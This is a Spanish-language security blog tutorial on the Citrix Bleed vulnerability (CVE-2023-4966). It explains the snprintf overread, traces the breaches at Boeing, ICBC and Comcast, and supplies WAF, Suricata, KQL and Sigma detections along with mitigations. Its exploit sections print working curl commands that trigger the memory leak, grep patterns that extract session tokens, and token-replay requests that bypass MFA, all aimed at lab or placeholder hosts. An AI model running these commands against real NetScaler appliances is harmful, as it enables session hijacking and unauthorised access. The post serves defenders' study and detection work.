Saltar al contenido
Volver al Blog

tutoriales · 8 min de lectura

Citrix Bleed: el buffer overread que se lleva la sesión

CVE-2023-4966 permite leer ~63 KB de memoria del NetScaler con una petición HTTP de Host header oversized. Entre los datos: tokens de sesión activos. El atacante los reutiliza y entra como un usuario válido — sin MFA. Boeing, ICBC, Comcast y más caen entre octubre y noviembre.

· Manuel López Pérez · tutoriales

CVE-2023-4966 permite leer ~63 KB de memoria del NetScaler con una petición HTTP de Host header oversized. Entre los datos: tokens de sesión activos. El atacante los reutiliza y entra como un usuario válido — sin MFA. Boeing, ICBC, Comcast y más caen entre octubre y noviembre.

El 10 de octubre de 2023, Citrix publica advisory por CVE-2023-4966 en NetScaler ADC y Gateway. Information disclosure, CVSS 9.4. La industria lo bautiza informalmente — y rápido — Citrix Bleed, por analogía con Heartbleed: ambos son buffer overread, ambos leakean memoria adyacente del proceso, ambos exponen secretos del peor tipo. Heartbleed leakeaba claves privadas; Citrix Bleed leakea session tokens activos.

A finales de mes el patrón está claro: el atacante hace una petición HTTP no autenticada, recibe tokens de sesión de otros usuarios que están dentro y los reutiliza. MFA no protege — la sesión ya está autenticada. Boeing confirma el 1 de noviembre. ICBC US cae el 8 de noviembre con efecto en el settlement de US Treasuries. Comcast Xfinity notifica 35.7 millones de cuentas en diciembre. Allen & Overy, DP World Australia, varios estados US, agencias federales.

Mandiant confirma explotación in-the-wild desde finales de agosto — seis semanas antes del parche.

Lab: PoC público de Assetnote reproducible contra una imagen NetScaler vulnerable en lab cerrado. No se envía contra appliances en producción.

El bug — snprintf que devuelve tamaño no escrito

La función vulnerable, según el RE publicado por Assetnote, está en la librería del NetScaler que sirve el endpoint OpenID Discovery:

// Reconstruido de Assetnote sobre nsppe / libns_aaa_oauthrp.so
// (NetScaler 13.1-48.47, función ns_aaa_oauthrp_send_openid_config)
char  resp_buf[0x20000];                            // 131072 bytes en stack
const char *host = req_get_header(req, "Host");

int n = snprintf(resp_buf, sizeof resp_buf,
                 "{\"issuer\":\"https://%s/oauth/idp\","
                 "\"authorization_endpoint\":\"https://%s/oauth/idp/login\","
                 /* ...más campos que repiten %s con host... */
                 "}", host, host, host, host, host, host);

ns_vpn_send_response(req, resp_buf, n);             // ← envía n bytes

snprintf devuelve el número de bytes que habría escrito si el buffer hubiera sido suficientemente grande — no los que escribió realmente. Si host es largo (varias decenas de KB), la cadena resultante supera 0x20000 (131072) y snprintf trunca la escritura pero devuelve el tamaño completo. La llamada siguiente envía n bytes desde resp_buf — los primeros 0x20000 son la respuesta truncada, los siguientes son bytes adyacentes al buffer en el stack/heap.

Lo que vive cerca del buffer en nsppe:

  • Buffers de request de otros clientes activos en el mismo worker (cookies, headers, POST body).
  • Tokens de sesión NSC_AAAC de usuarios autenticados.
  • Fragmentos de SAML assertions, JWT bearer tokens.
  • Memoria del heap con strings ya freeadas pero no zero-filled.

El parche (13.1-49.15 y backports) cambia el envío a usar MIN(n, sizeof resp_buf) para no devolver más bytes de los realmente escritos.

La petición que dispara el leak

Assetnote publica el 26-oct-2023 el PoC concreto. Tamaño exacto de Host para forzar el overflow: ~24812 bytes de path-equivalente que, multiplicado por las 6 expansiones %s en el template, supera 0x20000:

HOST_OVERFLOW=$(python3 -c "print('A' * 24812)")
curl -k --max-time 10 \
  -H "Host: $HOST_OVERFLOW" \
  "https://target.netscaler.test/oauth/idp/.well-known/openid-configuration" \
  -o leak.bin

ls -la leak.bin
# -rw-r--r-- 1 user user 65304 ... leak.bin    ← ~64KB de response

La respuesta es JSON truncado seguido de memoria adyacente. Buscar tokens NSC_AAAC (64 hex chars + 2 dash-separated halves):

strings leak.bin | grep -oE '[a-f0-9]{32}\.[a-f0-9]{32}' | sort -u
# 59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42
# 8f3e1a7b9c4d5e6f1a2b3c4d5e6f7a8b.9c0d1e2f3a4b5c6d7e8f9a0b1c2d3e4f
# ...

# Variantes de cookies/headers expuestos:
strings leak.bin | grep -E 'NSC_AAAC=|sessionId=|Authorization:' | head

Cada token observado corresponde a una sesión activa en el momento del request — usuarios del SSL VPN, OAuth, Citrix Workspace.

Reutilizar el token

Con un token válido, el atacante lo coloca en su navegador y entra como ese usuario:

TOKEN='59d2be99be7a01c9fb10110f42b18867.0c3a01f2245525d5f4f58455e445a4a42'

# 1) Endpoint VPN — sesión SSL VPN activa
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://target.netscaler.test/vpn/index.html"
# → 200 OK, página de aplicaciones publicadas

# 2) Citrix Workspace — apps remotas
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://target.netscaler.test/cgi/login?username=&password="
# → autenticado como el usuario propietario del token

Punto crítico: el flujo normal exige usuario + password + MFA. El token los salta los tres — ya es una sesión autenticada. Resetear la contraseña no invalida el token. Solo kill aaa session desde CLI o un logout del usuario cierra la sesión.

La mayoría de organizaciones que parchearon el 10-11 oct no rotaron sessions hasta el guidance de Mandiant del 17 oct. En esa ventana, los atacantes con tokens robados pre-parche seguían entrando.

La cronología

  • Finales de agosto 2023: Mandiant identifica primeros casos in-the-wild. Atribución preliminar a varios clusters, sin patrón único.
  • 10 de octubre: Citrix publica advisory y parche. Recomendación inicial: parchear.
  • 17 de octubre: Mandiant publica guidance — además de parchear, terminar todas las sesiones activas porque el patch no invalida tokens robados antes del 10-oct.
  • 23 de octubre: Citrix amplifica la recomendación de Mandiant.
  • 26 de octubre: Assetnote publica PoC público (Host header oversize).
  • Final octubre — noviembre: explotación masiva por múltiples actores. LockBit muy activo.
  • 1 noviembre: Boeing confirma compromiso (LockBit lo lista en su portal).
  • 8 noviembre: ICBC US confirma compromiso con impacto en settlement US Treasury.
  • Diciembre 2023: Comcast Xfinity notifica 35.7M cuentas, mismo vector.

Detección

NetScaler-side — limit en Host header

Lo más directo: regla WAF/reverse proxy delante del NetScaler que rechace Host: headers de más de 1 KB hacia /oauth/idp/.*. Ningún caso legítimo necesita Host header largo.

ModSecurity rule:

SecRule REQUEST_HEADERS:Host "@gt 1024" \
    "id:1004966,phase:1,deny,status:400,log,\
     msg:'CVE-2023-4966 Citrix Bleed — oversized Host header',\
     tag:'cve/2023-4966',tag:'attack-info-leak'"

Suricata / Snort

alert http any any -> $NETSCALER any (msg:"CITRIX BLEED CVE-2023-4966 oversized Host header to OAuth endpoint";
    http.uri; content:"/oauth/idp/.well-known/openid-configuration"; nocase;
    http.host; isdataat:1024;
    reference:cve,2023-4966;
    classtype:attempted-recon; sid:90234966; rev:2;)

KQL — Sentinel / Defender

// 1) Requests con Host header oversized (> 1KB) hacia /oauth/idp/
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor =~ "Citrix" or DeviceProduct in~ ("NetScaler","ADC","Gateway")
| where RequestURL has "/oauth/idp/.well-known/openid-configuration"
| where strlen(coalesce(SourceHostName, RequestClientApplication, "")) > 1024
| project Timestamp, SourceIP, RequestURL, DeviceName

// 2) Reanudación de sesión sin auth event previo en 24h
let session_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4624 and LogonType == 3
| where TargetUserName !startswith "anonymous" and TargetUserName !endswith "$";
let auth_events = SecurityEvent
| where TimeGenerated > ago(180d)
| where EventID == 4768  // Kerberos TGT issued (real login)
| project AuthTime=TimeGenerated, TargetUserName;
session_events
| join kind=leftouter auth_events on TargetUserName
| where AuthTime < TimeGenerated - 24h or isnull(AuthTime)
| project TimeGenerated, Computer, TargetUserName, IpAddress

Sigma — sesión reanudada desde IP nueva

title: Citrix Bleed Session Token Reuse from New IP
id: 8e1f0c4d-3a8b-4cdd-bf7a-2e4a6c7d8e9f
status: stable
references:
    - https://cloud.google.com/blog/topics/threat-intelligence/session-hijacking-citrix-cve-2023-4966
logsource:
    product: citrix
    service: netscaler
detection:
    selection:
        EventID: 'AAA_SESSION_ESTABLISHED'
    new_context:
        SourceCountry|not: '{baseline_user_country}'
    no_prior_auth:
        not_present_in_prior_24h: AAA_LOGIN_SUCCESS
    condition: selection and (new_context or no_prior_auth)
level: high

IoCs post-explotación publicados por Mandiant

TipoIndicadorNotas
MD5eb842a9509dece779d138d2e6b0f6949FREEFIRE backdoor .NET (C2 vía Slack)
Filenamee.exe, d.dllCredential harvester (loader + DLL)
Filenamesh3.exeMimikatz LSADUMP
Filename7.exe7-zip portable (staging/exfil)
Filenamenetscan.exeSoftPerfect NetScan (recon lateral)
RMM legítimo abusadoAtera, AnyDesk, SplashTopPersistencia “legítima” tras compromiso inicial

CISA en AA23-325A añade IoCs específicos de LockBit usando Citrix Bleed.

Reproducción en lab

# Setup: NetScaler ADC VPX en VMware con build < 13.1-49.15.
# La imagen NSVPX disponible para clientes Citrix bajo contrato.
# Encender el portal OAuth IDP en una vIP de pruebas.

# 1) Confirmar versión vulnerable desde CLI del appliance:
#    show ns version
#    -> NetScaler NS13.1: Build 48.47

# 2) Disparar el leak — ajustar tamaño hasta que el response supere 32KB
for SIZE in 16000 20000 22000 24000 24812 25000; do
  RESP=$(curl -k --max-time 5 \
    -H "Host: $(python3 -c "print('A'*$SIZE)")" \
    "https://lab-netscaler.local/oauth/idp/.well-known/openid-configuration" \
    -o /tmp/leak.bin -w "%{size_download}")
  echo "size=$SIZE response_bytes=$RESP"
done
# Tamaño efectivo en lab: 24812 bytes según Assetnote.

# 3) Extraer cookies de la respuesta
strings /tmp/leak.bin | grep -oE 'NSC_AAAC=[A-Za-z0-9\.\-]+' | sort -u

# 4) Validar token con la UI
TOKEN=...
curl -k -H "Cookie: NSC_AAAC=$TOKEN" \
  "https://lab-netscaler.local/vpn/index.html"
# Si devuelve la página de aplicaciones publicadas, el bleed funcionó

Mitigaciones, en orden

  1. Parchear a 14.1-8.50, 13.1-49.15, 13.0-92.19, o equivalente en NetScaler Cloud.
  2. Terminar TODAS las sesiones activas tras parchear:
    > kill aaa session -all
    > kill icaconnection -all
    > kill pcoipConnection -all
    > kill rdpConnection -all
    Si no, los tokens robados antes del parche siguen funcionando.
  3. Rotar credenciales de cualquier usuario que tuviera sesión activa durante la ventana de exposición.
  4. Bloquear SSL VPN externo durante el patch si no hay forma de migrar el tráfico a otra puerta.
  5. Auditar logs AD en busca de logons desde sesiones sin precedente.
  6. Después del incidente: pasar el portal VPN detrás de un IDP central (Okta, Entra ID) con device posture check. Eso convierte tokens robados en inútiles porque la siguiente autenticación al IDP detecta el cambio de device fingerprint.

Lo que enseña

  1. Buffer overreads no son históricos. Heartbleed (2014), Cloudbleed (2017), Citrix Bleed (2023), Citrix Bleed 2 (2025). En productos enterprise grandes, el bug sigue saliendo. La razón es la misma: C/C++ y código legacy que precede a la era memory-safe.
  2. El patch no es la mitigación completa. Un bug que expone state (sesiones, claves) requiere rotar el state además de parchear. Esa segunda parte se olvida sistemáticamente.
  3. MFA no protege post-auth. Toda la inversión corporativa en MFA queda anulada cuando el atacante roba la sesión después del login. La defensa pasa por session-bound device posture o continuous evaluation del session — disponible en Entra ID, Okta moderno, no en NetScaler standalone.
  4. Citrix sigue siendo perímetro. Segundo zero-day pre-auth crítico del año tras CVE-2023-3519 en julio. Para 2024 la pregunta operativa es: ¿hay alternativa? Zero Trust Network Access moderno está madurando lo suficiente como para sustituir SSL VPN tradicional.

Referencias

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

tutoriales · 16 min

ByBit, un año después: clear signing, Guardrail y EIP-7702 — qué cambió en el ecosistema multi-sig

El 21 de febrero de 2026 cumple un año el hack ByBit. Solo el 3,5 % de los $1.5B se ha congelado. Lo que sí cambió: Safe lanza Guardrail (agosto-2025) bloqueando DELEGATECALL no autorizado, EIP-7702 entra a mainnet con Pectra (mayo-2025), Ethereum Foundation toma el relevo de ERC-7730 desde Ledger y arrastra a Trezor / MetaMask / WalletConnect a un estándar abierto de clear signing. PoC actualizado en Sepolia que compara firma con y sin Guardrail+clear signing.

· Manuel López Pérez

Retrospectiva cyber 2025: cuatro casos que explican el año

tutoriales · 10 min

Retrospectiva cyber 2025: cuatro casos que explican el año

ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

· Manuel López Pérez

Windows 10 fin de soporte — el día después del 14 de octubre

tutoriales · 11 min

Windows 10 fin de soporte — el día después del 14 de octubre

El 14 de octubre de 2025 se acaban los parches gratuitos para Windows 10. Qué deja de recibir el sistema, qué ofrece el ESU consumer (gratis en la EEA, $30 fuera), cuánto cuesta a empresa y cuáles son las primeras CVE que vamos a ver explotadas contra la base instalada.

· Manuel López Pérez